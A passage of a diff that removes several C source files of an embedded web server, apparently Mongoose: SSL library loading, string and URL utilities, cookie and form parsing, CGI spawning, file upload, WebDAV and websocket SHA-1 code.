// "GET / HTTP/1.0 ...." or "HTTP/1.0 200 OK ..."
is_request = is_valid_http_method(ri->request_method);
if ((is_request && memcmp(ri->http_version, "HTTP/", 5) != 0) ||
(!is_request && memcmp(ri->request_method, "HTTP/", 5) != 0)) {
request_length = -1;
} else {
if (is_request) {
ri->http_version += 5;
}
parse_http_headers(&buf, ri);
}
}
return request_length;
}
static int parse_range_header(const char *header, int64_t *a, int64_t *b) {
return sscanf(header, "bytes=%" INT64_FMT "-%" INT64_FMT, a, b);
}
build/src/ssl.c
-178
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@@ -1,178 +0,0 @@
#include "internal.h"
#if !defined(NO_SSL)
// set_ssl_option() function updates this array.
// It loads SSL library dynamically and changes NULLs to the actual addresses
// of respective functions. The macros above (like SSL_connect()) are really
// just calling these functions indirectly via the pointer.
static struct ssl_func ssl_sw[] = {
{"SSL_free", NULL},
{"SSL_accept", NULL},
{"SSL_connect", NULL},
{"SSL_read", NULL},
{"SSL_write", NULL},
{"SSL_get_error", NULL},
{"SSL_set_fd", NULL},
{"SSL_new", NULL},
{"SSL_CTX_new", NULL},
{"SSLv23_server_method", NULL},
{"SSL_library_init", NULL},
{"SSL_CTX_use_PrivateKey_file", NULL},
{"SSL_CTX_use_certificate_file",NULL},
{"SSL_CTX_set_default_passwd_cb",NULL},
{"SSL_CTX_free", NULL},
{"SSL_load_error_strings", NULL},
{"SSL_CTX_use_certificate_chain_file", NULL},
{"SSLv23_client_method", NULL},
{"SSL_pending", NULL},
{"SSL_CTX_set_verify", NULL},
{"SSL_shutdown", NULL},
{NULL, NULL}
};
// Similar array as ssl_sw. These functions could be located in different lib.
static struct ssl_func crypto_sw[] = {
{"CRYPTO_num_locks", NULL},
{"CRYPTO_set_locking_callback", NULL},
{"CRYPTO_set_id_callback", NULL},
{"ERR_get_error", NULL},
{"ERR_error_string", NULL},
{NULL, NULL}
};
static pthread_mutex_t *ssl_mutexes;
static int sslize(struct mg_connection *conn, SSL_CTX *s, int (*func)(SSL *)) {
return (conn->ssl = SSL_new(s)) != NULL &&
SSL_set_fd(conn->ssl, conn->client.sock) == 1 &&
func(conn->ssl) == 1;
}
// Return OpenSSL error message
static const char *ssl_error(void) {
unsigned long err;
err = ERR_get_error();
return err == 0 ? "" : ERR_error_string(err, NULL);
}
static void ssl_locking_callback(int mode, int mutex_num, const char *file,
int line) {
(void) line;
(void) file;
if (mode & 1) { // 1 is CRYPTO_LOCK
(void) pthread_mutex_lock(&ssl_mutexes[mutex_num]);
} else {
(void) pthread_mutex_unlock(&ssl_mutexes[mutex_num]);
}
}
static unsigned long ssl_id_callback(void) {
return (unsigned long) pthread_self();
}
#if !defined(NO_SSL_DL)
static int load_dll(struct mg_context *ctx, const char *dll_name,
struct ssl_func *sw) {
union {void *p; void (*fp)(void);} u;
void *dll_handle;
struct ssl_func *fp;
if ((dll_handle = dlopen(dll_name, RTLD_LAZY)) == NULL) {
cry(fc(ctx), "%s: cannot load %s", __func__, dll_name);
return 0;
}
for (fp = sw; fp->name != NULL; fp++) {
#ifdef _WIN32
// GetProcAddress() returns pointer to function
u.fp = (void (*)(void)) dlsym(dll_handle, fp->name);
#else
// dlsym() on UNIX returns void *. ISO C forbids casts of data pointers to
// function pointers. We need to use a union to make a cast.
u.p = dlsym(dll_handle, fp->name);
#endif // _WIN32
if (u.fp == NULL) {
cry(fc(ctx), "%s: %s: cannot find %s", __func__, dll_name, fp->name);
return 0;
} else {
fp->ptr = u.fp;
}
}
return 1;
}
#endif // NO_SSL_DL
// Dynamically load SSL library. Set up ctx->ssl_ctx pointer.
static int set_ssl_option(struct mg_context *ctx) {
int i, size;
const char *pem;
// If PEM file is not specified and the init_ssl callback
// is not specified, skip SSL initialization.
if ((pem = ctx->config[SSL_CERTIFICATE]) == NULL) {
// MG_INIT_SSL
// ctx->callbacks.init_ssl == NULL) {
return 1;
}
#if !defined(NO_SSL_DL)
if (!load_dll(ctx, SSL_LIB, ssl_sw) ||
!load_dll(ctx, CRYPTO_LIB, crypto_sw)) {
return 0;
}
#endif // NO_SSL_DL
// Initialize SSL library
SSL_library_init();
SSL_load_error_strings();
if ((ctx->ssl_ctx = SSL_CTX_new(SSLv23_server_method())) == NULL) {
cry(fc(ctx), "SSL_CTX_new (server) error: %s", ssl_error());
return 0;
}
// If user callback returned non-NULL, that means that user callback has
// set up certificate itself. In this case, skip sertificate setting.
// MG_INIT_SSL
if (SSL_CTX_use_certificate_file(ctx->ssl_ctx, pem, 1) == 0 ||
SSL_CTX_use_PrivateKey_file(ctx->ssl_ctx, pem, 1) == 0) {
cry(fc(ctx), "%s: cannot open %s: %s", __func__, pem, ssl_error());
return 0;
}
if (pem != NULL) {
(void) SSL_CTX_use_certificate_chain_file(ctx->ssl_ctx, pem);
}
// Initialize locking callbacks, needed for thread safety.
// http://www.openssl.org/support/faq.html#PROG1
size = sizeof(pthread_mutex_t) * CRYPTO_num_locks();
if ((ssl_mutexes = (pthread_mutex_t *) malloc((size_t)size)) == NULL) {
cry(fc(ctx), "%s: cannot allocate mutexes: %s", __func__, ssl_error());
return 0;
}
for (i = 0; i < CRYPTO_num_locks(); i++) {
pthread_mutex_init(&ssl_mutexes[i], NULL);
}
CRYPTO_set_locking_callback(&ssl_locking_callback);
CRYPTO_set_id_callback(&ssl_id_callback);
return 1;
}
static void uninitialize_ssl(struct mg_context *ctx) {
int i;
if (ctx->ssl_ctx != NULL) {
CRYPTO_set_locking_callback(NULL);
for (i = 0; i < CRYPTO_num_locks(); i++) {
pthread_mutex_destroy(&ssl_mutexes[i]);
}
CRYPTO_set_locking_callback(NULL);
CRYPTO_set_id_callback(NULL);
}
}
#endif // !NO_SSL
build/src/string.c
-423
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@@ -1,423 +0,0 @@
#include "internal.h"
static void mg_strlcpy(register char *dst, register const char *src, size_t n) {
for (; *src != '\0' && n > 1; n--) {
*dst++ = *src++;
}
*dst = '\0';
}
static int lowercase(const char *s) {
return tolower(* (const unsigned char *) s);
}
static int mg_strncasecmp(const char *s1, const char *s2, size_t len) {
int diff = 0;
if (len > 0)
do {
diff = lowercase(s1++) - lowercase(s2++);
} while (diff == 0 && s1[-1] != '\0' && --len > 0);
return diff;
}
static int mg_strcasecmp(const char *s1, const char *s2) {
int diff;
do {
diff = lowercase(s1++) - lowercase(s2++);
} while (diff == 0 && s1[-1] != '\0');
return diff;
}
static char * mg_strndup(const char *ptr, size_t len) {
char *p;
if ((p = (char *) malloc(len + 1)) != NULL) {
mg_strlcpy(p, ptr, len + 1);
}
return p;
}
static char * mg_strdup(const char *str) {
return mg_strndup(str, strlen(str));
}
static const char *mg_strcasestr(const char *big_str, const char *small_str) {
int i, big_len = strlen(big_str), small_len = strlen(small_str);
for (i = 0; i <= big_len - small_len; i++) {
if (mg_strncasecmp(big_str + i, small_str, small_len) == 0) {
return big_str + i;
}
}
return NULL;
}
// Like snprintf(), but never returns negative value, or a value
// that is larger than a supplied buffer.
// Thanks to Adam Zeldis to pointing snprintf()-caused vulnerability
// in his audit report.
static int mg_vsnprintf(char *buf, size_t buflen, const char *fmt, va_list ap) {
int n;
if (buflen == 0) {
return 0;
}
n = vsnprintf(buf, buflen, fmt, ap);
if (n < 0) {
n = 0;
} else if (n >= (int) buflen) {
n = (int) buflen - 1;
}
buf[n] = '\0';
return n;
}
static int mg_snprintf(char *buf, size_t buflen,
PRINTF_FORMAT_STRING(const char *fmt), ...) PRINTF_ARGS(3, 4);
static int mg_snprintf(char *buf, size_t buflen, const char *fmt, ...) {
va_list ap;
int n;
va_start(ap, fmt);
n = mg_vsnprintf(buf, buflen, fmt, ap);
va_end(ap);
return n;
}
// Skip the characters until one of the delimiters characters found.
// 0-terminate resulting word. Skip the delimiter and following whitespaces.
// Advance pointer to buffer to the next word. Return found 0-terminated word.
// Delimiters can be quoted with quotechar.
static char *skip_quoted(char **buf, const char *delimiters,
const char *whitespace, char quotechar) {
char *p, *begin_word, *end_word, *end_whitespace;
begin_word = *buf;
end_word = begin_word + strcspn(begin_word, delimiters);
// Check for quotechar
if (end_word > begin_word) {
p = end_word - 1;
while (*p == quotechar) {
// If there is anything beyond end_word, copy it
if (*end_word == '\0') {
*p = '\0';
break;
} else {
size_t end_off = strcspn(end_word + 1, delimiters);
memmove (p, end_word, end_off + 1);
p += end_off; // p must correspond to end_word - 1
end_word += end_off + 1;
}
}
for (p++; p < end_word; p++) {
*p = '\0';
}
}
if (*end_word == '\0') {
*buf = end_word;
} else {
end_whitespace = end_word + 1 + strspn(end_word + 1, whitespace);
for (p = end_word; p < end_whitespace; p++) {
*p = '\0';
}
*buf = end_whitespace;
}
return begin_word;
}
// Simplified version of skip_quoted without quote char
// and whitespace == delimiters
static char *skip(char **buf, const char *delimiters) {
return skip_quoted(buf, delimiters, delimiters, 0);
}
// Return HTTP header value, or NULL if not found.
static const char *get_header(const struct mg_request_info *ri,
const char *name) {
int i;
for (i = 0; i < ri->num_headers; i++)
if (!mg_strcasecmp(name, ri->http_headers[i].name))
return ri->http_headers[i].value;
return NULL;
}
const char *mg_get_header(const struct mg_connection *conn, const char *name) {
return get_header(&conn->request_info, name);
}
// A helper function for traversing a comma separated list of values.
// It returns a list pointer shifted to the next value, or NULL if the end
// of the list found.
// Value is stored in val vector. If value has form "x=y", then eq_val
// vector is initialized to point to the "y" part, and val vector length
// is adjusted to point only to "x".
static const char *next_option(const char *list, struct vec *val,
struct vec *eq_val) {
if (list == NULL || *list == '\0') {
// End of the list
list = NULL;
} else {
val->ptr = list;
if ((list = strchr(val->ptr, ',')) != NULL) {
// Comma found. Store length and shift the list ptr
val->len = list - val->ptr;
list++;
} else {
// This value is the last one
list = val->ptr + strlen(val->ptr);
val->len = list - val->ptr;
}
if (eq_val != NULL) {
// Value has form "x=y", adjust pointers and lengths
// so that val points to "x", and eq_val points to "y".
eq_val->len = 0;
eq_val->ptr = (const char *) memchr(val->ptr, '=', val->len);
if (eq_val->ptr != NULL) {
eq_val->ptr++; // Skip over '=' character
eq_val->len = val->ptr + val->len - eq_val->ptr;
val->len = (eq_val->ptr - val->ptr) - 1;
}
}
}
return list;
}
// Perform case-insensitive match of string against pattern
static int match_prefix(const char *pattern, int pattern_len, const char *str) {
const char *or_str;
int i, j, len, res;
if ((or_str = (const char *) memchr(pattern, '|', pattern_len)) != NULL) {
res = match_prefix(pattern, or_str - pattern, str);
return res > 0 ? res :
match_prefix(or_str + 1, (pattern + pattern_len) - (or_str + 1), str);
}
i = j = 0;
res = -1;
for (; i < pattern_len; i++, j++) {
if (pattern[i] == '?' && str[j] != '\0') {
continue;
} else if (pattern[i] == '$') {
return str[j] == '\0' ? j : -1;
} else if (pattern[i] == '*') {
i++;
if (pattern[i] == '*') {
i++;
len = (int) strlen(str + j);
} else {
len = (int) strcspn(str + j, "/");
}
if (i == pattern_len) {
return j + len;
}
do {
res = match_prefix(pattern + i, pattern_len - i, str + j + len);
} while (res == -1 && len-- > 0);
return res == -1 ? -1 : j + res + len;
} else if (lowercase(&pattern[i]) != lowercase(&str[j])) {
return -1;
}
}
return j;
}
// Protect against directory disclosure attack by removing '..',
// excessive '/' and '\' characters
static void remove_double_dots_and_double_slashes(char *s) {
char *p = s;
while (*s != '\0') {
*p++ = *s++;
if (s[-1] == '/' || s[-1] == '\\') {
// Skip all following slashes, backslashes and double-dots
while (s[0] != '\0') {
if (s[0] == '/' || s[0] == '\\') {
s++;
} else if (s[0] == '.' && s[1] == '.') {
s += 2;
} else {
break;
}
}
}
}
*p = '\0';
}
void mg_url_encode(const char *src, char *dst, size_t dst_len) {
static const char *dont_escape = "._-$,;~()";
static const char *hex = "0123456789abcdef";
const char *end = dst + dst_len - 1;
for (; *src != '\0' && dst < end; src++, dst++) {
if (isalnum(*(const unsigned char *) src) ||
strchr(dont_escape, * (const unsigned char *) src) != NULL) {
*dst = *src;
} else if (dst + 2 < end) {
dst[0] = '%';
dst[1] = hex[(* (const unsigned char *) src) >> 4];
dst[2] = hex[(* (const unsigned char *) src) & 0xf];
dst += 2;
}
}
*dst = '\0';
}
int mg_url_decode(const char *src, int src_len, char *dst,
int dst_len, int is_form_url_encoded) {
int i, j, a, b;
#define HEXTOI(x) (isdigit(x) ? x - '0' : x - 'W')
for (i = j = 0; i < src_len && j < dst_len - 1; i++, j++) {
if (src[i] == '%' && i < src_len - 2 &&
isxdigit(* (const unsigned char *) (src + i + 1)) &&
isxdigit(* (const unsigned char *) (src + i + 2))) {
a = tolower(* (const unsigned char *) (src + i + 1));
b = tolower(* (const unsigned char *) (src + i + 2));
dst[j] = (char) ((HEXTOI(a) << 4) | HEXTOI(b));
i += 2;
} else if (is_form_url_encoded && src[i] == '+') {
dst[j] = ' ';
} else {
dst[j] = src[i];
}
}
dst[j] = '\0'; // Null-terminate the destination
return i >= src_len ? j : -1;
}
// Check whether full request is buffered. Return:
// -1 if request is malformed
// 0 if request is not yet fully buffered
// >0 actual request length, including last \r\n\r\n
static int get_request_len(const char *buf, int buf_len) {
int i;
for (i = 0; i < buf_len; i++) {
// Control characters are not allowed but >=128 is.
// Abort scan as soon as one malformed character is found;
// don't let subsequent \r\n\r\n win us over anyhow
if (!isprint(* (const unsigned char *) &buf[i]) && buf[i] != '\r' &&
buf[i] != '\n' && * (const unsigned char *) &buf[i] < 128) {
return -1;
} else if (buf[i] == '\n' && i + 1 < buf_len && buf[i + 1] == '\n') {
return i + 2;
} else if (buf[i] == '\n' && i + 2 < buf_len && buf[i + 1] == '\r' &&
buf[i + 2] == '\n') {
return i + 3;
}
}
return 0;
}
int mg_get_cookie(const char *cookie_header, const char *var_name,
char *dst, size_t dst_size) {
const char *s, *p, *end;
int name_len, len = -1;
if (dst == NULL || dst_size == 0) {
len = -2;
} else if (var_name == NULL || (s = cookie_header) == NULL) {
len = -1;
dst[0] = '\0';
} else {
name_len = (int) strlen(var_name);
end = s + strlen(s);
dst[0] = '\0';
for (; (s = mg_strcasestr(s, var_name)) != NULL; s += name_len) {
if (s[name_len] == '=') {
s += name_len + 1;
if ((p = strchr(s, ' ')) == NULL)
p = end;
if (p[-1] == ';')
p--;
if (*s == '"' && p[-1] == '"' && p > s + 1) {
s++;
p--;
}
if ((size_t) (p - s) < dst_size) {
len = p - s;
mg_strlcpy(dst, s, (size_t) len + 1);
} else {
len = -3;
}
break;
}
}
}
return len;
}
int mg_get_var(const char *data, size_t data_len, const char *name,
char *dst, size_t dst_len) {
const char *p, *e, *s;
size_t name_len;
int len;
if (dst == NULL || dst_len == 0) {
len = -2;
} else if (data == NULL || name == NULL || data_len == 0) {
len = -1;
dst[0] = '\0';
} else {
name_len = strlen(name);
e = data + data_len;
len = -1;
dst[0] = '\0';
// data is "var1=val1&var2=val2...". Find variable first
for (p = data; p + name_len < e; p++) {
if ((p == data || p[-1] == '&') && p[name_len] == '=' &&
!mg_strncasecmp(name, p, name_len)) {
// Point p to variable value
p += name_len + 1;
// Point s to the end of the value
s = (const char *) memchr(p, '&', (size_t)(e - p));
if (s == NULL) {
s = e;
}
assert(s >= p);
// Decode variable into destination buffer
len = mg_url_decode(p, (size_t)(s - p), dst, dst_len, 1);
// Redirect error code from -1 to -2 (destination buffer too small).
if (len == -1) {
len = -2;
}
break;
}
}
}
return len;
}
build/src/unix.c
-105
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@@ -1,105 +0,0 @@
#include "internal.h"
#if !defined(_WIN32)
static int mg_stat(const char *path, struct file *filep) {
struct stat st;
filep->modification_time = (time_t) 0;
if (stat(path, &st) == 0) {
filep->size = st.st_size;
filep->modification_time = st.st_mtime;
filep->is_directory = S_ISDIR(st.st_mode);
// See https://github.com/cesanta/mongoose/issues/109
// Some filesystems report modification time as 0. Artificially
// bump it up to mark mg_stat() success.
if (filep->modification_time == (time_t) 0) {
filep->modification_time = (time_t) 1;
}
}
return filep->modification_time != (time_t) 0;
}
static void set_close_on_exec(int fd) {
fcntl(fd, F_SETFD, FD_CLOEXEC);
}
int mg_start_thread(mg_thread_func_t func, void *param) {
pthread_t thread_id;
pthread_attr_t attr;
int result;
(void) pthread_attr_init(&attr);
(void) pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
#if USE_STACK_SIZE > 1
// Compile-time option to control stack size, e.g. -DUSE_STACK_SIZE=16384
(void) pthread_attr_setstacksize(&attr, USE_STACK_SIZE);
#endif
result = pthread_create(&thread_id, &attr, func, param);
pthread_attr_destroy(&attr);
return result;
}
#ifndef NO_CGI
static pid_t spawn_process(struct mg_connection *conn, const char *prog,
char *envblk, char *envp[], int fdin,
int fdout, const char *dir) {
pid_t pid;
const char *interp;
(void) envblk;
if ((pid = fork()) == -1) {
// Parent
send_http_error(conn, 500, http_500_error, "fork(): %s", strerror(ERRNO));
} else if (pid == 0) {
// Child
if (chdir(dir) != 0) {
cry(conn, "%s: chdir(%s): %s", __func__, dir, strerror(ERRNO));
} else if (dup2(fdin, 0) == -1) {
cry(conn, "%s: dup2(%d, 0): %s", __func__, fdin, strerror(ERRNO));
} else if (dup2(fdout, 1) == -1) {
cry(conn, "%s: dup2(%d, 1): %s", __func__, fdout, strerror(ERRNO));
} else {
// Not redirecting stderr to stdout, to avoid output being littered
// with the error messages.
(void) close(fdin);
(void) close(fdout);
// After exec, all signal handlers are restored to their default values,
// with one exception of SIGCHLD. According to POSIX.1-2001 and Linux's
// implementation, SIGCHLD's handler will leave unchanged after exec
// if it was set to be ignored. Restore it to default action.
signal(SIGCHLD, SIG_DFL);
interp = conn->ctx->config[CGI_INTERPRETER];
if (interp == NULL) {
(void) execle(prog, prog, NULL, envp);
cry(conn, "%s: execle(%s): %s", __func__, prog, strerror(ERRNO));
} else {
(void) execle(interp, interp, prog, NULL, envp);
cry(conn, "%s: execle(%s %s): %s", __func__, interp, prog,
strerror(ERRNO));
}
}
exit(EXIT_FAILURE);
}
return pid;
}
#endif // !NO_CGI
static int set_non_blocking_mode(SOCKET sock) {
int flags;
flags = fcntl(sock, F_GETFL, 0);
(void) fcntl(sock, F_SETFL, flags | O_NONBLOCK);
return 0;
}
#endif // _WIN32
build/src/upload.c
-140
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@@ -1,140 +0,0 @@
#include "internal.h"
FILE *mg_upload(struct mg_connection *conn, const char *destination_dir,
char *path, int path_len) {
const char *content_type_header, *boundary_start;
char *buf, fname[1024], boundary[100], *s, *p;
int bl, n, i, j, headers_len, boundary_len, eof, buf_len, to_read, len = 0;
FILE *fp;
// Request looks like this:
//
// POST /upload HTTP/1.1
// Host: 127.0.0.1:8080
// Content-Length: 244894
// Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRVr
//
// ------WebKitFormBoundaryRVr
// Content-Disposition: form-data; name="file"; filename="accum.png"
// Content-Type: image/png
//
// <89>PNG
// <PNG DATA>
// ------WebKitFormBoundaryRVr
// Extract boundary string from the Content-Type header
if ((content_type_header = mg_get_header(conn, "Content-Type")) == NULL ||
(boundary_start = mg_strcasestr(content_type_header,
"boundary=")) == NULL ||
(sscanf(boundary_start, "boundary=\"%99[^\"]\"", boundary) == 0 &&
sscanf(boundary_start, "boundary=%99s", boundary) == 0) ||
boundary[0] == '\0') {
return NULL;
}
boundary_len = strlen(boundary);
bl = boundary_len + 4; // \r\n--<boundary>
// buf
// conn->buf |<--------- buf_len ------>|
// |=================|==========|===============|
// |<--request_len-->|<--len--->| |
// |<-----------data_len------->| conn->buf + conn->buf_size
buf = conn->buf + conn->request_len;
buf_len = conn->buf_size - conn->request_len;
len = conn->data_len - conn->request_len;
for (;;) {
// Pull in headers
assert(len >= 0 && len <= buf_len);
to_read = buf_len - len;
if (to_read > left_to_read(conn)) {
to_read = (int) left_to_read(conn);
}
while (len < buf_len &&
(n = pull(NULL, conn, buf + len, to_read)) > 0) {
len += n;
}
if ((headers_len = get_request_len(buf, len)) <= 0) {
break;
}
// Fetch file name.
fname[0] = '\0';
for (i = j = 0; i < headers_len; i++) {
if (buf[i] == '\r' && buf[i + 1] == '\n') {
buf[i] = buf[i + 1] = '\0';
// TODO(lsm): don't expect filename to be the 3rd field,
// parse the header properly instead.
sscanf(&buf[j], "Content-Disposition: %*s %*s filename=\"%1023[^\"]",
fname);
j = i + 2;
}
}
// Give up if the headers are not what we expect
if (fname[0] == '\0') {
break;
}
// Move data to the beginning of the buffer
assert(len >= headers_len);
memmove(buf, &buf[headers_len], len - headers_len);
len -= headers_len;
conn->data_len = conn->request_len + len;
// We open the file with exclusive lock held. This guarantee us
// there is no other thread can save into the same file simultaneously.
fp = NULL;
// Construct destination file name. Do not allow paths to have slashes.
s = fname;
if ((p = strrchr(fname, '/')) != NULL && p > s) s = p;
if ((p = strrchr(fname, '\\')) != NULL && p > s) s = p;
// Open file in binary mode. TODO: set an exclusive lock.
snprintf(path, path_len, "%s/%s", destination_dir, s);
if ((fp = fopen(path, "wb")) == NULL) {
break;
}
// Read POST data, write into file until boundary is found.
eof = n = 0;
do {
len += n;
for (i = 0; i < len - bl; i++) {
if (!memcmp(&buf[i], "\r\n--", 4) &&
!memcmp(&buf[i + 4], boundary, boundary_len)) {
// Found boundary, that's the end of file data.
fwrite(buf, 1, i, fp);
eof = 1;
memmove(buf, &buf[i + bl], len - (i + bl));
len -= i + bl;
break;
}
}
if (!eof && len > bl) {
fwrite(buf, 1, len - bl, fp);
memmove(buf, &buf[len - bl], bl);
len = bl;
}
to_read = buf_len - len;
if (to_read > left_to_read(conn)) {
to_read = (int) left_to_read(conn);
}
} while (!eof && (n = pull(NULL, conn, buf + len, to_read)) > 0);
conn->data_len = conn->request_len + len;
if (eof) {
rewind(fp);
return fp;
} else {
fclose(fp);
}
}
return NULL;
}
build/src/util.c
-30
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@@ -1,30 +0,0 @@
#include "internal.h"
// Return fake connection structure. Used for logging, if connection
// is not applicable at the moment of logging.
static struct mg_connection *fc(struct mg_context *ctx) {
static struct mg_connection fake_connection;
fake_connection.ctx = ctx;
// See https://github.com/cesanta/mongoose/issues/236
fake_connection.event.user_data = ctx->user_data;
return &fake_connection;
}
static void sockaddr_to_string(char *buf, size_t len,
const union usa *usa) {
buf[0] = '\0';
#if defined(USE_IPV6)
inet_ntop(usa->sa.sa_family, usa->sa.sa_family == AF_INET ?
(void *) &usa->sin.sin_addr :
(void *) &usa->sin6.sin6_addr, buf, len);
#elif defined(_WIN32)
// Only Windoze Vista (and newer) have inet_ntop()
strncpy(buf, inet_ntoa(usa->sin.sin_addr), len);
#else
inet_ntop(usa->sa.sa_family, (void *) &usa->sin.sin_addr, buf, len);
#endif
}
static void gmt_time_string(char *buf, size_t buf_len, time_t *t) {
strftime(buf, buf_len, "%a, %d %b %Y %H:%M:%S GMT", gmtime(t));
}
build/src/webdav.c
-61
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@@ -1,61 +0,0 @@
#include "internal.h"
// Writes PROPFIND properties for a collection element
static void print_props(struct mg_connection *conn, const char* uri,
struct file *filep) {
char mtime[64];
gmt_time_string(mtime, sizeof(mtime), &filep->modification_time);
conn->num_bytes_sent += mg_printf(conn,
"<d:response>"
"<d:href>%s</d:href>"
"<d:propstat>"
"<d:prop>"
"<d:resourcetype>%s</d:resourcetype>"
"<d:getcontentlength>%" INT64_FMT "</d:getcontentlength>"
"<d:getlastmodified>%s</d:getlastmodified>"
"</d:prop>"
"<d:status>HTTP/1.1 200 OK</d:status>"
"</d:propstat>"
"</d:response>\n",
uri,
filep->is_directory ? "<d:collection/>" : "",
filep->size,
mtime);
}
static void print_dav_dir_entry(struct de *de, void *data) {
char href[PATH_MAX];
char href_encoded[PATH_MAX];
struct mg_connection *conn = (struct mg_connection *) data;
mg_snprintf(href, sizeof(href), "%s%s",
conn->request_info.uri, de->file_name);
mg_url_encode(href, href_encoded, PATH_MAX-1);
print_props(conn, href_encoded, &de->file);
}
static void handle_propfind(struct mg_connection *conn, const char *path,
struct file *filep) {
const char *depth = mg_get_header(conn, "Depth");
conn->must_close = 1;
conn->status_code = 207;
mg_printf(conn, "HTTP/1.1 207 Multi-Status\r\n"
"Connection: close\r\n"
"Content-Type: text/xml; charset=utf-8\r\n\r\n");
conn->num_bytes_sent += mg_printf(conn,
"<?xml version=\"1.0\" encoding=\"utf-8\"?>"
"<d:multistatus xmlns:d='DAV:'>\n");
// Print properties for the requested resource itself
print_props(conn, conn->request_info.uri, filep);
// If it is a directory, print directory entries too if Depth is not 0
if (filep->is_directory &&
!mg_strcasecmp(conn->ctx->config[ENABLE_DIRECTORY_LISTING], "yes") &&
(depth == NULL || strcmp(depth, "0") != 0)) {
scan_directory(conn, path, conn, &print_dav_dir_entry);
}
conn->num_bytes_sent += mg_printf(conn, "%s\n", "</d:multistatus>");
}
build/src/websocket.c
-309
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@@ -1,309 +0,0 @@
#include "internal.h"
#if defined(USE_WEBSOCKET)
// START OF SHA-1 code
// Copyright(c) By Steve Reid <steve@edmweb.com>
#define SHA1HANDSOFF
#if defined(__sun)
#include "solarisfixes.h"
#endif
union char64long16 { unsigned char c[64]; uint32_t l[16]; };
#define rol(value, bits) (((value) << (bits)) | ((value) >> (32 - (bits))))
static uint32_t blk0(union char64long16 *block, int i) {
// Forrest: SHA expect BIG_ENDIAN, swap if LITTLE_ENDIAN
if (!is_big_endian()) {
block->l[i] = (rol(block->l[i], 24) & 0xFF00FF00) |
(rol(block->l[i], 8) & 0x00FF00FF);
}
return block->l[i];
}
#define blk(i) (block->l[i&15] = rol(block->l[(i+13)&15]^block->l[(i+8)&15] \
^block->l[(i+2)&15]^block->l[i&15],1))
#define R0(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk0(block, i)+0x5A827999+rol(v,5);w=rol(w,30);
#define R1(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk(i)+0x5A827999+rol(v,5);w=rol(w,30);
#define R2(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0x6ED9EBA1+rol(v,5);w=rol(w,30);
#define R3(v,w,x,y,z,i) z+=(((w|x)&y)|(w&x))+blk(i)+0x8F1BBCDC+rol(v,5);w=rol(w,30);
#define R4(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0xCA62C1D6+rol(v,5);w=rol(w,30);
typedef struct {
uint32_t state[5];
uint32_t count[2];
unsigned char buffer[64];
} SHA1_CTX;
static void SHA1Transform(uint32_t state[5], const unsigned char buffer[64]) {
uint32_t a, b, c, d, e;
union char64long16 block[1];
memcpy(block, buffer, 64);
a = state[0];
b = state[1];
c = state[2];
d = state[3];
e = state[4];
R0(a,b,c,d,e, 0); R0(e,a,b,c,d, 1); R0(d,e,a,b,c, 2); R0(c,d,e,a,b, 3);
R0(b,c,d,e,a, 4); R0(a,b,c,d,e, 5); R0(e,a,b,c,d, 6); R0(d,e,a,b,c, 7);
R0(c,d,e,a,b, 8); R0(b,c,d,e,a, 9); R0(a,b,c,d,e,10); R0(e,a,b,c,d,11);
R0(d,e,a,b,c,12); R0(c,d,e,a,b,13); R0(b,c,d,e,a,14); R0(a,b,c,d,e,15);
R1(e,a,b,c,d,16); R1(d,e,a,b,c,17); R1(c,d,e,a,b,18); R1(b,c,d,e,a,19);
R2(a,b,c,d,e,20); R2(e,a,b,c,d,21); R2(d,e,a,b,c,22); R2(c,d,e,a,b,23);
R2(b,c,d,e,a,24); R2(a,b,c,d,e,25); R2(e,a,b,c,d,26); R2(d,e,a,b,c,27);
R2(c,d,e,a,b,28); R2(b,c,d,e,a,29); R2(a,b,c,d,e,30); R2(e,a,b,c,d,31);
R2(d,e,a,b,c,32); R2(c,d,e,a,b,33); R2(b,c,d,e,a,34); R2(a,b,c,d,e,35);
R2(e,a,b,c,d,36); R2(d,e,a,b,c,37); R2(c,d,e,a,b,38); R2(b,c,d,e,a,39);
R3(a,b,c,d,e,40); R3(e,a,b,c,d,41); R3(d,e,a,b,c,42); R3(c,d,e,a,b,43);
R3(b,c,d,e,a,44); R3(a,b,c,d,e,45); R3(e,a,b,c,d,46); R3(d,e,a,b,c,47);
R3(c,d,e,a,b,48); R3(b,c,d,e,a,49); R3(a,b,c,d,e,50); R3(e,a,b,c,d,51);
R3(d,e,a,b,c,52); R3(c,d,e,a,b,53); R3(b,c,d,e,a,54); R3(a,b,c,d,e,55);
R3(e,a,b,c,d,56); R3(d,e,a,b,c,57); R3(c,d,e,a,b,58); R3(b,c,d,e,a,59);
R4(a,b,c,d,e,60); R4(e,a,b,c,d,61); R4(d,e,a,b,c,62); R4(c,d,e,a,b,63);
R4(b,c,d,e,a,64); R4(a,b,c,d,e,65); R4(e,a,b,c,d,66); R4(d,e,a,b,c,67);
R4(c,d,e,a,b,68); R4(b,c,d,e,a,69); R4(a,b,c,d,e,70); R4(e,a,b,c,d,71);
R4(d,e,a,b,c,72); R4(c,d,e,a,b,73); R4(b,c,d,e,a,74); R4(a,b,c,d,e,75);
R4(e,a,b,c,d,76); R4(d,e,a,b,c,77); R4(c,d,e,a,b,78); R4(b,c,d,e,a,79);
state[0] += a;
state[1] += b;
state[2] += c;
state[3] += d;
state[4] += e;
a = b = c = d = e = 0;
memset(block, '\0', sizeof(block));
}
static void SHA1Init(SHA1_CTX* context) {
context->state[0] = 0x67452301;
context->state[1] = 0xEFCDAB89;
context->state[2] = 0x98BADCFE;
context->state[3] = 0x10325476;
context->state[4] = 0xC3D2E1F0;
context->count[0] = context->count[1] = 0;
}
static void SHA1Update(SHA1_CTX* context, const unsigned char* data,
uint32_t len) {
uint32_t i, j;
j = context->count[0];
if ((context->count[0] += len << 3) < j)
context->count[1]++;
context->count[1] += (len>>29);
j = (j >> 3) & 63;
if ((j + len) > 63) {
memcpy(&context->buffer[j], data, (i = 64-j));
SHA1Transform(context->state, context->buffer);
for ( ; i + 63 < len; i += 64) {
SHA1Transform(context->state, &data[i]);
}
j = 0;
}
else i = 0;
memcpy(&context->buffer[j], &data[i], len - i);
}
static void SHA1Final(unsigned char digest[20], SHA1_CTX* context) {
unsigned i;
unsigned char finalcount[8], c;
for (i = 0; i < 8; i++) {
